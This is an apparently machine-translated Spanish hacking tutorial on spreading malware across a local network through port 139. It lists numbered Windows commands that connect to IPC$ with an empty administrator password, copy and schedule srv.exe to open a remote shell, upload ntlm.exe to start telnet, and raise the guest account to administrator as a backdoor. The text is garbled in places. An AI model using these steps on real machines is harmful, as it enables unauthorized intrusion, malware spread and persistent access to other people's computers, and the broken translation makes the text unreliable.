¿Cómo propagar virus a otras computadoras en una red de área local?
Utilice el puerto 139 para esta intrusión.
Pasos de intrusión LAN:
1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators" ¿Esto es para usar "Streamer"? para escanear El nombre de usuario es administradores y la contraseña es una dirección IP "vacía" (¿contraseña vacía? Vaya, tienes mucha suerte. Si planeas atacar, puedes usar dicho comando para establecer una conexión con 127.0.0.1, porque). La contraseña está "vacía", por lo que no es necesario ingresar la primera comilla. El nombre de usuario está entre las siguientes comillas dobles. Ingrese administradores y el comando se completará con éxito. ?
2. C:\>copiar srv.exe \\127.0.0.1\admin$ ? Primero copie srv.exe, que está disponible en el directorio de Herramientas del transmisor ($ aquí se refiere al usuario administrador c :\winnt\system32\, también puedes usar c$, d$, que significa unidad C y unidad D, depende de dónde quieras copiar). ?
3. C:\>net time \\127.0.0.1 ? Verifique la hora y descubra que la hora actual de 127.0.0.1 son las 11:00 am del 19/3/2002. completado con éxito. ?
4. C:\>at \\127.0.0.1 11:05 srv.exe ? Utilice el comando at para iniciar srv.exe (el tiempo establecido aquí es más rápido que el tiempo del host; de lo contrario, ¿cómo? ¿Puedes iniciarlo? ¡Ah, jaja!) ?
5. C:\>net time \\127.0.0.1 ¿Has comprobado la hora otra vez? Si la hora actual de 127.0.0.1 es 2002/3/19 11:05 a. m., prepárese para iniciar el siguiente comando. ?
6. C:\>telnet 127.0.0.1 99 ? El comando Telnet se utilizará aquí. El puerto Telnet predeterminado es 23, pero usamos SRV para crear un Shell de 99 puertos en la computadora de la otra parte. ? Aunque podemos activar Telnet, SRV es de un solo uso y debe activarse nuevamente la próxima vez que iniciemos sesión. ¡Así que vamos a construir un servicio Telnet! ¿Esto requiere el uso de ntlm?
7.C:\>copiar ntlm.exe \\127.0.0.1\admin$? Utilice el comando Copiar para cargar ntlm.exe en el host (ntlm.exe es también en el directorio Herramientas de "Streamer"). ?
8. C:\WINNT\system32>ntlm ? Ingrese ntlm para iniciar (C:\WINNT\system32> aquí se refiere a la computadora de la otra parte. La ejecución de ntlm en realidad permite que el programa se ejecute en la otra parte. computadora del partido). Cuando aparece "DONE", significa que ha comenzado normalmente.
Luego utilice "net start telnet" para iniciar el servicio Telnet. ?
9. Telnet 127.0.0.1, luego ingrese el nombre de usuario y la contraseña para ingresar a la otra parte. ¡La operación es tan simple como operar en DOS! (Entonces, ¿qué quieres hacer? Haz lo que quieras, jaja). Por si acaso, ¿agregamos la activación de invitado al grupo de administración?
10. sí ? ¿Activar el usuario invitado de la otra parte?
11. C:\>net user guest 1234 ? ¿Cambiar la contraseña del invitado a 1234 o la contraseña que desea establecer?
12 . C:\>net localgroup Administrators guest /add ? Cambiar invitado a administrador^_^ (Si se cambia la contraseña del administrador y la cuenta de invitado permanece sin cambios, podemos usar invitado para acceder a esta computadora nuevamente la próxima vez)